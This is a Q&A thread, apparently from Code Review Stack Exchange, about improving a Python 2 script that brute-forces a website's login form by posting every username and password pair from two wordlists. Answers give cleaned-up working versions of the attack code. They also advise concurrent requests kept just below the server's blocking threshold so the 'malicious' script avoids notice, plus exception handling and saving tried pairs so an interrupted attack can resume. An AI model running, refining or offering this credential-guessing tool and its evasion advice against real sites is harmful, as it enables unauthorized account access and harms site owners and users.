3
\$\begingroup\$

This code will be brute force specific site using http POST method.

 def BruteForce(url, username, password):
        userfile = open(username, "r")
        userlist = userfile.read()
        userlist = userlist.split("\n")

        passfile = open(password, "r")
        passlist = passfile.read()
        passlist = passlist.split("\n")

        for i in userlist:
            for j in passlist:
                data = {"username":i, "password": j}
                data2 = {"username":i, "password": j}
                data = urllib.urlencode(data)
                request = urllib2.Request(url, data)

                response = urllib2.urlopen(request)
                payload = response.read()

                isconnect = "True"
                if(payload.find(isconnect)>=0):
                    print "Found, the password is: " + data2["password"] + " and the username is: " + data2["username"]
                    return 

                else:
                    pass

Is this code efficient? How I can improve my code? Should I use multithreading mechanism to speed up my script?

\$\endgroup\$
  • \$\begingroup\$ It's probably a good idea to close() your files explicitly. \$\endgroup\$ – Joel Cornett Apr 5 '12 at 9:52
2
\$\begingroup\$

First, improving the code:

  1. Reading lines from a file is as easy as open(name, 'r').readlines(). No need for three lines where one is enough.

  2. data and data2, are on the face of it redundant (and are badly named). The redundancy is only resolved because you reuse data – not a good idea. Use proper variable naming and use new variables for a new purpose, don’t reuse variables.

    (And in general, choose more relevant names.)

  3. If you don’t use the else branch in a conditional, don’t write it.

  4. Separation of concerns! This method tries to find a way into a website, not print stuff to the console. Return the result instead. That way, the function can be properly used.

This leaves us with:

def BruteForce(url, userlist_file, passlist_file):
    userlist = open(userlist_file, 'r').readlines()
    passlist = open(passlist_file, 'r').readlines()

    for username in userlist:
        for password in passlist:
            data = { 'username': username, 'password': password }
            encoded = urllib.urlencode(data)
            request = urllib2.Request(url, encoded)
            response = urllib2.urlopen(request)
            payload = response.read()

            isconnect = 'True'
            if(payload.find(isconnect) >= 0):
                return data

    return { } # Nothing found

Now to your question:

Is this code efficient?

Not really. The problem isn’t so much the code in itself, it’s more the fact that HTTP requests are generally quite slow, but the most time is spent waiting for data. If you do them sequentially (and you do), most of the script’s running time is spent waiting.

This can be drastically improved by sending several requests concurrently. This doesn’t even need multithreading – you can just open several connections in a loop, and then start reading from them. Even better would be to read asynchronously. Unfortunately, urllib doesn’t support this – but other libraries do.

That said, you cannot simply bombard the web server with tons of requests. After all, your script is malicious and you don’t want the web server to notice you. So you need to fly under the radar – send just as many concurrent requests as the server allows without being blocked immediately.

Finding this number is tricky and requires guesswork and a bit of luck. If you are lucky, the server is badly configured and won’t mind lots of connections. If you want to stay on the safe side, stay way low.

I have no idea, nor much interest in, how to engineer such an attack.

\$\endgroup\$
  • \$\begingroup\$ thx! I have learned a lot from your comment! \$\endgroup\$ – improvemycode Mar 31 '12 at 21:36
  • \$\begingroup\$ There is no asynchttp library documentation :( \$\endgroup\$ – improvemycode Apr 4 '12 at 15:21
  • \$\begingroup\$ One minor thing. It's usually a good idea to explicitly close your file objects. OP could do this with a with bloc however. \$\endgroup\$ – Joel Cornett Apr 5 '12 at 9:53
3
\$\begingroup\$

1.

def BruteForce(url, userlist_file, passlist_file):

PEP8 recommends you to name functions in lowercase/underscore style.

def bruteforce(url, userlist_file, passlist_file):

2.

isconnect = "True"

If it's a constant move it out of function, at least out of cycle. Name it UPPERCASE.

SUCCESS_RESPONSE = 'True'

3.

if(payload.find(isconnect)>=0):

Python has build-in function in for your case which returns True/False. Brackets are also redundant.

if SUCCESS_RESPONSE in payload:

4.

You don't check exceptions that are very likely when you send HTTP requests. In this case your script stop and you have to attack server from the beginning. I also advise you to close connections. With-statement does it automatically.

from contextlib import closing

try:
    with closing(urllib2.urlopen(request)) as response:    
        payload = response.read()
except urllib2.URLError, e:
    print e

You can store wrong login-passwords pairs to skip them when you run your code next time.

\$\endgroup\$

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.